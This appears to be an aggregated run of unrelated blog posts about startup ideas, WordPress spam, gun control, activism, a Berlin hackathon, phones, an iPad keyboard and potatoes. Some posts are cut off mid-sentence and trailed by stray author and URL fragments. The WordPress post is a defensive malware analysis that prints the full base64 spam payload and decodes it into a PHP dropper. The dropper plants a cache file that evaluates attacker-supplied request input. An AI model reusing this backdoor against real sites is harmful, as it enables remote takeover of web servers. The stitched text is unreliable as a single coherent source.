Starting a new business, but stuck on finding the perfect idea? I hear you. In fact, you’re not alone.

Recently, I asked people who opted-in for more information on my upcoming “Art of Email” course what they needed most in their businesses. Although many people said “Customers!”, several people asked how they would go about finding the perfect new business idea.

Let’s talk about that. I know the phase you’re in when you’re stuck on the idea. You want to start a business. It pays better (maybe!), offers more flexible time by allowing you to set your own hours, and gets you out from under the thumb of a boss. Plus, it’d be awesome to work for yourself and get people to sign up for something you’re doing for them.

The problem is making the leap from where you are now to actually having a successful business. In this post, we’ll work together on the first few steps to get you to the point of building your new business’s foundation.

First, to have a business, you need two clearly-identified items:

• A market…
• And a validated pain point within that market. (Key word here is validated.)

Finding A Market For Your Business

Let’s address finding a market first.

A market is a subset of people who are willing to fork over money for your product. The more clearly-defined and specific your market is, the easier it’s going to be to sell your product.

Good examples of markets:
Accountants in Boise, ID (ideally with an idea that you can expand to accountants in other locations later)
People diagnosed with Celiac disease in the past 7 days
People who know Javascript programming and who want to learn Ruby programming

Notice here that I’ve stepped away from the vague “small business owners” or “moms with kids age 3-5″ types of markets. Though those are markets for large companies that sell huge amounts of products, you need a tightly-focused niche market to start your product with. (Later, as your business grows, you can expand what you offer. But for now, keep it tight.)

Now, to pair with your niche market, you need a validated pain point that people in that market are experiencing. When I say “validated”, what I mean is that you’ve talked to multiple people in that specific market and you know that it is a pain point that they are willing to pay to solve.

For instance, I was in the market of “People diagnosed with Celiac disease in the past 7 days” back in 2009. (I even wrote a blog post about it.) If you’ve ever had a diagnosis that’s life-changing, as this one is (you can never eat wheat or foods with gluten in them again–I didn’t even know what “gluten” was!), you’re in a huge world of hurt and pain. (In my case, I was literally in pain.) And you’re willing to spend money to make that pain go away.

Within the first week of being diagnosed, I’d already bought two books on Celiac disease/gluten intolerance. I’d also turned my pantry upside down, chucking a whole trash can’s worth of food with wheat in it and spending $200+ on new groceries that I had identified as gluten-free. I spent time madly doing research, trying to figure out if the soy sauce and Worcestershire sauce that I had was gluten-free, or if ingredients like “maltodextrin” had gluten in them (in the U.S., maltodextrin is made from corn and is gluten-free.)

That pain point of “first diagnosis” is when you will try anything to get help, and money suddenly becomes less relevant. That’s a perfect market to sell to!

The “Emotion Test”: How Painful is The Problem You’re Solving?

When you’re speaking with potential customers about your product (or even just speaking with them frankly, trying to understand their problems), and they start to get emotional, that’s when you know you may have a good new business idea on hand. Can you help solve that pain point that’s making them emotional? The one that may have them literally in pain (as it was in my case?) That’s your market.

But what if you don’t have any idea what to sell? Then I recommend starting with a market and talking to them–getting them to speak frankly about their problems. Let’s face it–everyone loves to talk about their problems! Some of those problems you can solve, and some of them you can’t, but at least you’ll know what’s bugging people out there.

For instance, my personal trainer here in Austin, Jake, loves to complain about the billing software he uses. He hates it and wants to light it on fire! And whenever he posts about it on Facebook, other personal trainer friends of his chime in, agreeing. There’s a lucrative market out there for someone who wants to address that problem and build better billing and scheduling software for personal trainers.

The lady who owns the salon I go to has a problem where she can’t accurately measure the amount of hair color her stylists use on clients. Clients with longer hair need more hair color, so she can guess, but guesses aren’t always accurate. She needs a system where she can measure the amount of hair color used every time, accurately, and bill her stylists and their clients appropriately.

And her husband owns a BBQ restaurant where they hire someone to man the smoker overnight and make sure the temperature of their brisket remains constant so they can serve food early in the morning after smoking it for 12 hours–except that someone fell asleep one night manning the brisket, and there weren’t any alarms that went off. The brisket overcooked and not only did they have nothing to serve the next day, making them look bad in front of customers, but they lost hundreds of dollars in brisket that they had bought to serve that day. They need a temperature logging device–and now my fiance is working on a side project to build one for them and other BBQ shop owners.

In each of these examples, we see a business owner who is desperately in need of a product that will help them either save money and/or make more money. And these are just a few ideas. Make room for some local small business owners in your friend circle, or go to some local meetups, and put your ear to the ground. You’ll quickly hear what problems they have. From there, it’s up to you to decide if solving those problems is a market you’d be interested in pursuing.

The good news is that as soon as you do have a prototype, since you’ve validated the market up front, it won’t be an uphill battle to get your first few customers. You can just call them up or email them–they’ll be waiting for you with credit cards in hand!

–

In my upcoming “Art of Email” course, I’m going to show you how you can get customers (or get feedback from potential customers) without leaving your seat. In other words, no more cold-calling, knocking on doors, or having to figure out where business owners hang out–you can drop a few emails, even to people you don’t know, and get them to open up and respond.

And if you don’t know what idea you want to pursue, I’m including a series of videos on how to choose the right business idea and validate that with real potential customers.

In short, if you want to grow your business or start a business, “Art of Email” is where you’ll want to be. Make sure to opt-in to the extra-awesome email list below (it’s a different list than my primary email list) to be the first to know when “Art of Email” launches. I’ll also be offering some special bonuses just to the people on that list.

Opt in below and I’ll send you more details in the next week:

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WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:

eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));

Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==

As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w'))
{fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/
\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc
3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qc
iB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM52
0*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6
QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdn
MXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCov
J2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTD
QqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2
sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV
1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo
8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1s
vKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMyg
yMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vK
k4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qO
lo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>
{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in the blog post since I wanted to make sure none of that was executed, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:

eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));

Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=

You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*g3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.


Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g.  That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.


Here's what it looks like without the comments:

if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:

if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));

Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed.  That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request.  Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this

http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

As a followup to my previous post, I can only quote Gabby Giffords, in part: People have told me that I’m courageous, but I have seen greater courage. Gabe Zimmerman, my friend and staff member in whose honor we dedicated a room in the United States Capitol this week, saw me shot in the head and saw the shooter turn his gunfire on others. Gabe ran toward me as I lay bleeding. Toward gunfire. Valorie Zimmermanhttps://plus.google.com/113923299734857989889noreply@blogger.com0

RAGE! That was my first response to the news that the US Senate today was unable to pass even less-than-universal background checks for firearm purchases -- even with a majority, and even with the vast majority of Americans, even gun-owning Americans, even NRA members -- in favor. Now comes discouragement. How will we progress as a country, if over ninety per cent of us are ignored? Only the gun Valorie Zimmermanhttps://plus.google.com/113923299734857989889noreply@blogger.com1

A look at Bigpond Music and Google Play Music as two good options for buying DRM-free music in Australia.

***Top picture taken with Michelle’s camera and

the rest of the pictures taken with Jill’s HP Pre 3!

***Taken by Jill with her HP Pre3 running webOS!

Sharon’s A Dead Dog on the SCALE floor ;D

 

Recently I spoke at BarCamp Canberra about my tips and tricks to changing the world. I thought it might be useful to get people thinking about how they can best contribute to the world, according to their skills and passions.

Completely coincidentally, my most excellent boss did a talk a few sessions ahead of me which was the American Civil War version of the same thing I highly recommend it. John Sheridan – Lincoln, Lee and ICT: Lessons from the Civil War.

So you want to change the world?

Here are the tactics I use to some success. I heartily recommend you find what works for you. Then you will have no excuse but to join me in implementing Operation World Awesomeness.

The Short Version:

No wasted movement.

The Long Version:

1) Pick your battles: there are a million things you could do. What do you most care about? What can you maintain constructive and positive energy about even in the face of towering adverseries and significant challenges? What do you think you can make a difference in? There is a subtle difference between choosing to knock down a mountain with your forehead, and renting a bulldozer. If you find yourself expending enormous energy on something, but not making a difference, you need to be comfortable to change tactics.

2) Work to your strengths: everyone is good at something. If you choose to contribute to your battle in a way that doesn’t work to your strengths, whatever they are, then you are wasting energy. You are not contributing in the best way you can. You need to really know yourself, understand what you can and can’t do, then do what you can do well, and supplement your army with the skills of others. Everyone has a part to play and a meaningful way to contribute. FWIW, I work to know myself through my martial arts training, which provides a useful cognitive and physical toolkit to engage in the world with clarity. Find what works for you. As Sun Tzu said: know yourself.

3) Identify success: Figure out what success actually looks like, otherwise you don’t have either a measurement of progress, nor a measurement of completion. I’ve seen too many activists get caught up on a battle and continued fighting well beyond the battle being won, or indeed keep hitting their heads against a battle that can’t be won. It’s important to continually be monitoring and measuring, holding yourself to account, and ensuring you are making progress. If not, change tactics.

4) Reconnaissance: do your research. Whatever your area of interest there is likely a body of work that has come before you that you can build upon. Learn about the environment you are working in, the politics, the various motivations and interests at play, the history and structure of your particular battlefield. Find levers in the system that you can press for maximum effect, rather than just straining against the weight of a mountain. Identify the various moving parts of the system and you have the best chance to have a constructive and positive influence.

5) Networks & Mentors: identify all the players in your field. Who is involved, influential, constructive, destructive, effective, etc. It is important to understand the motivations at play so you can engage meaningfully, collaboratively and build a mutually beneficial network in the persuit of awesomeness. Strong mentors are a vital asset and they will teach you how to navigate the rapids and make things happen. A strong network of allies is also vital to keep you on track, and accountable, and true to your own purpose. People usually strive to meet the expectations of those around them, so surround yourself with high expectations. Knowing your network also helps you identify issues and opportunities early.

6) Sustainability: have you put in place a succession plan? How will your legacy continue on without you? It’s important if your work is to continue on that it not be utterly reliant upon one individual. You need to share your vision, passion and success. Glory shared is glory sustained, so bring others on board, encourage and support them to succeed. Always give recognition and thanks to people who do great stuff.

7) Patience: remember the long game. Nothing changes overnight. It always take a lot of work and persistence, and remembering the long game will help during those times when it doesn’t feel like you are making progress. Again, your network is vital as it will help you maintain your strength, confidence and patience Speaking of which, a huge thanks to Geoff Mason for reminding me of this one on the day.

8) Shifting power: it is worth noting that we are living in the most exciting of times. Truly. Individuals are more empowered than ever before to do great things. The Internet has created a mechanism for the mass distribution of power, but putting into the hands of all people (all those online anyway), the tools to:

1. publish and access knowledge;
2. communicate and collaborate with people all around the world;
3. monitor and hold others to account including companies, governments and individuals;
4. act as enforcers for whatever code or law they uphold. This is of course quite controversial but fascinating nonetheless; and
5. finally, with the advances in 3D printing and nanotechnology, we are on the cusp of all people having unprecedented access to property.

Side note: Poverty and hunger, we shall overcome you yet! Then we just urgently need to prioritise education of all the people. But that is a post for another day Check out my blog post on Unicorns and Doom, which goes into my thoughts on how online culture is fundamentally changing society.

This last aspect is particularly fascinating as it changes the game from one between the haves and the have nots, to one between those with and those without skills and knowledge. We are moving from a material wealth differentiation in society towards an intellectual wealth differentiation. Arguable we always had the latter, but the former has long been a bastion for law, structures, power and hierarchies. And it is all changing.

“What better place than here, what better time than now?” — RATM

This weekend, right after MWC13, I went to Germany’s first all-women hackathon, organized by Berlin Geekettes (in Berlin). The event was invite only, and I was one of the +100 women – yes, +100 women – who attended and spent the weekend hacking. You can see pictures summing up the event at http://bghackathon.tumblr.com/. I served as UX and designer consultant for two teams, and one of the teams came in 4th! Full details of this amazing experience bellow:

Berlin Geekettes started one year ago, founded by Jess Erickson, and in just one year managed to form a network of +400 women connected to technology, from developers, designers, to entrepreneurs and angel investors. The team was approached and invited to Google, Facebook and other companies, to present the group and talk about their experience. The main team is formed of 4 other women, including an events manager, a technical ambassador, an evangelist and an official photographer/designer. The website is http://berlingeekettes.com/, but it will be changed soon from a Tumblr based to a full CMS page.

The Hackathon was attended by more than 100 women. This is a remarkable number even for those who are active in female oriented online groups and know how many women are active but avoid regular events for a number of reasons. The absolutely majority was developers of web applications, very few C developers. I didn’t count how many ideas were pitched, but in the end 28 projects were finalized and demoed. The event was sponsored and hosted by Deutsche Telekom, which provided space, flawless internet access and technical support; SoundCloud, sponsoring meals, prizes and having engineers to support the apps development; Uber, a car service who offered every participant one free ride anywhere and anytime; plus 15 smaller sponsorships, several with onsite engineers to support the developers. Facebook wanted to be there but double booked, so they send a video message specially recorded for the event. The Hackathon ran officially for 24hs, with extra activities expanding the event to a total of 48hs.

The difference from the regular hackathon, besides being an all-women event, was the inclusion of a yoga stretching room, where a volunteer ran 10min sessions during the 24hs to help developers to take a break; real food, delicious, organic, provided by an independent chef; a crafts room, where Etsy helped developers to craft their mascot; the sponsorship of a car service company to give everyone the sense of safety and freedom to hack as long as they wanted, and 2 little kids supporting their respective moms during demo time. Besides that, was everything like any other hackathon, obsessive hackers coding away, groups collaborating, arguing, supporting each other.

The projects were posted using Hacker League website, and can be seen here https://www.hackerleague.org/hackathons/berlin-geekettes-hackathon/hacks . I participated in Journey Mix, a tool for finding tracks for long activities (the idea started to be pitched with “I used to go clubbing a lot. Now I go running a lot, but I miss the DJs”); and Bikeable Sounds, basically plotting your playlist into your bike path map. Both were using SoundCloud service. Journey Mix got the 4th place, and it’s live at http://alihaberfield.com/journeymix/docs/index.html. The first prizes went to Monkey See Monkey Do (1st, http://youtu.be/Remm9SjorfY - helping children to understand their schedule); Life in Music (2nd, http://www.lifeinmusic.net/); and Sound Pairs (3rd, http://www.speedspiration.com/soundpairs/index.html, another educational tool for teaching sounds to children). My other favourite idea was the Urban Sound Archive, Mood Swings, Wonder Belt and Flip It.

It was an overwhelming experience to find myself with so many female hackers, and I think we were all in this same state of wonderment. But as for reflections on the developer scene, I noted a few important insights:

-       many web developers are just doing HTML5 without any fuss about it. We just did, without calling it HTML5, most of the time it was called JavaScript/CSS programming.

-       two of the most cheered demos, that got the crowd excited, were about sensors. The Wonder Belt used tapping to play Tetris, and the LeapPlay, using the LeapMotion sensor device to play music.

-       having a common objective and appropriate tools made us all go miles this weekend. I learned tons of CSS, my colleagues learned tons about API programming, SoundCloud learned a lot about bugs in their API, and everybody went further than they imagine. I saw one of my colleagues doing this face many times during the time there http://thejoysofcode.com/post/43971443267/when-i-accidentally-fix-a-huge-bug-with-a-single-line

-       having a UX knowledge can really save tons of time from developers. I helped them to think about the objectives, similarities and differences into 3 projects thinking of merging, ending up in two different projects. Ideas about what should be shown, should be hidden, should be featured, presented and in what order helped the developers to focus and achieve a lot more than if they had to test every option.

There are some talks for expanding Berlin Geekettes, and one of the first chapters will be Munich Geekettes, supported by this happy hacker-turned-designer-over-the-weekend reporter. Now if you excuse me, I will crash again because this week was amazing, but I need to recharge.

Filed under: Uncategorized Tagged: berlin geekettes, hackathon

Did I say I was going to buy a Galaxy Note 2? Oh, I change my mind so fast.

The Nexus 4 went on sale again. And I bought it. Ask me, WHY RENATA, WHY DID YOU BUY THE NEXUS?

So, I’ve been on a 3-year-contract with Bell since December 2010. They keep sending me messages suggesting that, for a “small fee”, I can buy a new phone and renew my contract for another three years. Let’s do some math here.

If I wanted a Galaxy Note 2, I’d have to pay, right now:
- 150 to be able to have a new phone
- 200 for the Galaxy on a three year contract

350 + taxes and I would be trapped in a contract for 3 years again. To get the Galaxy contract free, it would cost me 150 + 700 (price of the phone, unlocked). I’m not that crazy.

Now, here comes the Nexus.

Google delivered me an unlocked, carrier-free phone for 400, taxes included. It’s an awesome phone. Really awesome. I won’t do another review because there are plenty of reviews everywhere. I’m happy with my choice, and my bank account is even happier.

I recommend the Nexus to everyone who’s trapped on a carrier contract.

For Christmas my partner bought me an Apple bluetooth keyboard to go with my iPad Mini together with my other Apple devices (I am such a fan-girl). Since then I’ve been playing with it and finding out just how much I can control with it.

The keyboard itself is basically the same as the keyboard on my 13 inch Mac Book Pro except it has white keys and not black ones (and they’re not lit). The keyboard case machined aluminium and is at most 5mm thick except for at the rear where the battery holder (which takes two AA batteries) acts as the rear ‘feet’. One end of this is a screw cover for the batteries, the other is the power button. There is a small green LED by the power button.

Pairing

Holding the power button puts it in to pairing mode.

To pair start ‘Settings’ then select the ‘Bluetooth’ option. The keyboard will be found and shown as un-paired. Tap on the description and you will be asked to enter a four digit code on the keyboard and then hit the return key. Once this is done, the keyboard will be paired, and takes over keyboard duties.

How do I get the on-screen keyboard back?

The first question I think everyone will ask is “How do I get the on-screen keyboard back?”. This is simple. Just press the Eject button on the keyboard in the top right corner. Press it a second time to use the keyboard again. Of course this means you need access to your keyboard. It has a pretty good range so if its say, locked in a draw, you will have to ‘forget’ the keyboard in settings and re-pair the next time you want to use it.

What else can it do? Function keys

The function keys on the keyboard also double as control/media keys. The iPad supports the following keys:

• The screen brightness keys (F1 and F2)
• The player (iTunes) control keys for rewind, play/pause and fast forward (F7 to F9)
• The volume control keys e.g. mute, volume down and volume up (F10 to F12)

Text selection

The arrow keys will move the caret around text input as you would expect. Holding down shift as you use them allows selection of text for cut, copy or delete as follows:

• shift and left/right arrow selects previous/next character.
• shift and option/alt and left/right arrow selects previous/next row.
• shift and control and left/right arrow selects to start of line/end of line.
  

You can also use command and A to select all the text.

Cut, copy, paste, undo, redo

These are as you would expect if you’re a Mac user.

• command and x – cut
• command and c – copy
• command and v – paste
• command and z – undo
• command, shift and z – redo

Alternative characters and accents

By now you’ll realise that this keyboard near enough supports all the functionality you would expect from a keyboard used with Apple’s desktop operating system (OSX). This isn’t a surprise since iOS and OSX are very closely related.

Holding alt down when typing a character will give you an alternative character. Usually this are related to the standard character for that key. For example on a UK keyboard shift and 3 gives you £ but alt and 3 gives you # (the reverse of the US case). Both # and £ are known as pound which is why Apple has mapped them that way. alt and ./> gives you ≥. alt and s gives you ß (which is a double S symbol used in German words such as Schloß).

The exceptions to the above rule is where the key is used to create accented characters. In that case you use alt and a key to create an accent modifier the you type the character you want to apply the accent too. Again the key used is related to the accent generated. For example back tick for a grave (accent that slopes down to the right), e.g. è. e for ecute (accent that slopes down to the left), such as é. u for umlaut (double dots) e.g. Mötorhead, and so on.

Other keys

When using Pages on the iPad I have found that the following are also supported:

• command and B to toggle the bold on text.
• command and I to toggle the italics on text.

When using Textastic the tab key can indent blocks of text (and shift tab to reverse indent).

Tab and shift tab will select the next/previous field in a form in Safari.

And that’s it. If I find any more I shall update this post. However I think that with the addition of a keyboard an iPad fulfils most of my day to day non-development requirements together with some minor development duties as well.

P.S. This post was written on my iPad.

so we “dug up” some of the spuds… really we just tipped them out of the bag they were growing in.

worked really well – didn’t take up land (just left the bags leaning on a brick wall) and were easy to get out. Will do again

